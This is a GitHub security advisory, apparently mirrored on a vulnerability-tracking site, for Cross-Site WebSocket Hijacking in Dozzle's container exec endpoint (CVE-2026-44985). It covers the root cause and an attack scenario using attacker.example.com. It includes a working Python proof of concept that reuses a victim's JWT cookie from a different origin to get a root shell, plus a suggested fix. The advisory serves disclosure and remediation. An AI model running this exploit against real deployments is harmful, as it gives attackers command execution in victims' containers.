GHSA-J643-X8PV-8M67
Vulnerability from github – Published: 2026-05-11 14:07 – Updated: 2026-05-11 14:07Summary
The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.
An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.
Root cause
1. CheckOrigin bypassed (internal/web/terminal.go:15-21)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool {
return true
},
}
The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.
2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)
http.SetCookie(w, &http.Cookie{
Name: "jwt",
Value: token,
HttpOnly: true,
Path: "/",
SameSite: http.SameSiteLaxMode,
Expires: expires,
})
SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.
Attack scenario
Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.
- Attacker controls a page on the same site (e.g.,
attacker.example.com, or another service onlocalhost:8888while Dozzle is onlocalhost:9090) - Victim visits the attacker's page while authenticated to Dozzle
- Attacker's JavaScript opens
new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec') - Browser sends the JWT cookie (same-site,
SameSite=Laxallows it) - Dozzle's
CheckOriginreturnstrue— upgrade accepted - Auth middleware validates the JWT from the cookie — request authenticated
- Attacker has a shell in the victim's authorized containers
PoC (auth enabled)
Setup — Dozzle with authentication + shell:
docker-compose.yml:
services:
dozzle:
image: amir20/dozzle:latest
ports:
- "9090:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./data:/data
environment:
- DOZZLE_AUTH_PROVIDER=simple
- DOZZLE_ENABLE_SHELL=true
target:
image: alpine:latest
command: sh -c "while true; do sleep 3600; done"
data/users.yml:
users:
admin:
name: Admin
# password: admin123
password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
email: admin@test.local
roles: shell
Exploit — CSWSH with cross-origin Origin header + victim's cookie:
import json, time, websocket, requests
target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
if line and line.startswith("data: "):
data = json.loads(line[6:])
if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
host_id = data[0]["host"]
cid = data[0]["id"]
break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
ws_url, timeout=10,
cookie=f"jwt={jwt}",
origin="http://localhost:8888" # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request
ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()
ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
while True:
output.append(ws.recv())
except:
pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
ws2.close()
except Exception as e:
print(f"Without cookie: {e}") # 401 Unauthorized
Result:
[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized
Impact
Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:
- Execute arbitrary commands in any container the victim has access to
- Read secrets, environment variables, and files inside containers
- Pivot to other services accessible from the container network
- Potentially escape to the Docker host if the socket is mounted writable
Suggested fix
Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// Default CheckOrigin rejects cross-origin requests
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/amir20/dozzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44985"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:07:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) \u2014 **even when authentication is properly configured**.\n\nAn attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim\u0027s valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.\n\n## Root cause\n\n**1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)**\n\n```go\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: 1024,\n WriteBufferSize: 1024,\n CheckOrigin: func(r *http.Request) bool {\n return true\n },\n}\n```\n\nThe gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH.\n\n**2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)**\n\n```go\nhttp.SetCookie(w, \u0026http.Cookie{\n Name: \"jwt\",\n Value: token,\n HttpOnly: true,\n Path: \"/\",\n SameSite: http.SameSiteLaxMode,\n Expires: expires,\n})\n```\n\n`SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site.\n\n## Attack scenario\n\nPreconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in.\n\n1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`)\n2. Victim visits the attacker\u0027s page while authenticated to Dozzle\n3. Attacker\u0027s JavaScript opens `new WebSocket(\u0027wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec\u0027)`\n4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it)\n5. Dozzle\u0027s `CheckOrigin` returns `true` \u2014 upgrade accepted\n6. Auth middleware validates the JWT from the cookie \u2014 request authenticated\n7. Attacker has a shell in the victim\u0027s authorized containers\n\n## PoC (auth enabled)\n\n**Setup \u2014 Dozzle with authentication + shell:**\n\ndocker-compose.yml:\n```yaml\nservices:\n dozzle:\n image: amir20/dozzle:latest\n ports:\n - \"9090:8080\"\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock:ro\n - ./data:/data\n environment:\n - DOZZLE_AUTH_PROVIDER=simple\n - DOZZLE_ENABLE_SHELL=true\n\n target:\n image: alpine:latest\n command: sh -c \"while true; do sleep 3600; done\"\n```\n\ndata/users.yml:\n```yaml\nusers:\n admin:\n name: Admin\n # password: admin123\n password: \"$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS\"\n email: admin@test.local\n roles: shell\n```\n\n**Exploit \u2014 CSWSH with cross-origin Origin header + victim\u0027s cookie:**\n\n```python\nimport json, time, websocket, requests\n\ntarget = \"http://localhost:9090\"\n\n# Verify auth is enabled\nr = requests.get(f\"{target}/api/events/stream\", timeout=5, stream=True)\nr.close()\nassert r.status_code == 401, \"Auth not enabled\"\n\n# Victim logs in\nr = requests.post(f\"{target}/api/token\", data={\"username\": \"admin\", \"password\": \"admin123\"})\njwt = r.headers[\"Set-Cookie\"].split(\"jwt=\")[1].split(\";\")[0]\n\n# Get container info (authenticated)\nr = requests.get(f\"{target}/api/events/stream\", cookies={\"jwt\": jwt}, stream=True, timeout=10)\nfor line in r.iter_lines(decode_unicode=True):\n if line and line.startswith(\"data: \"):\n data = json.loads(line[6:])\n if isinstance(data, list) and len(data) \u003e 0 and \"host\" in data[0]:\n host_id = data[0][\"host\"]\n cid = data[0][\"id\"]\n break\nr.close()\n\n# CSWSH: cross-origin WebSocket with victim\u0027s cookie\nws_url = f\"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec\"\nws = websocket.create_connection(\n ws_url, timeout=10,\n cookie=f\"jwt={jwt}\",\n origin=\"http://localhost:8888\" # DIFFERENT origin\n)\n# Connected! CheckOrigin:true accepted the cross-origin request\n\nws.send(json.dumps({\"type\": \"resize\", \"width\": 120, \"height\": 40}))\ntime.sleep(1); ws.recv()\n\nws.send(json.dumps({\"type\": \"userinput\", \"data\": \"id\\n\"}))\ntime.sleep(2)\nws.settimeout(2)\noutput = []\ntry:\n while True:\n output.append(ws.recv())\nexcept:\n pass\nws.close()\nprint(\"\".join(output))\n# uid=0(root) gid=0(root) groups=0(root)\n\n# Verify: without cookie = rejected\ntry:\n ws2 = websocket.create_connection(ws_url, timeout=5, origin=\"http://localhost:8888\")\n ws2.close()\nexcept Exception as e:\n print(f\"Without cookie: {e}\") # 401 Unauthorized\n```\n\n**Result:**\n```\n[+] Auth is ENABLED (events stream returns 401)\n[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888\n[+] uid=0(root) gid=0(root) groups=0(root)\n[+] Without cookie -\u003e 401 Unauthorized\n```\n\n## Impact\n\nUsers who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:\n\n- Execute arbitrary commands in any container the victim has access to\n- Read secrets, environment variables, and files inside containers\n- Pivot to other services accessible from the container network\n- Potentially escape to the Docker host if the socket is mounted writable\n\n## Suggested fix\n\nRemove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests:\n\n```go\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: 1024,\n WriteBufferSize: 1024,\n // Default CheckOrigin rejects cross-origin requests\n}\n```",
"id": "GHSA-j643-x8pv-8m67",
"modified": "2026-05-11T14:07:21Z",
"published": "2026-05-11T14:07:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
},
{
"type": "PACKAGE",
"url": "https://github.com/amir20/dozzle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dozzle\u0027s Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.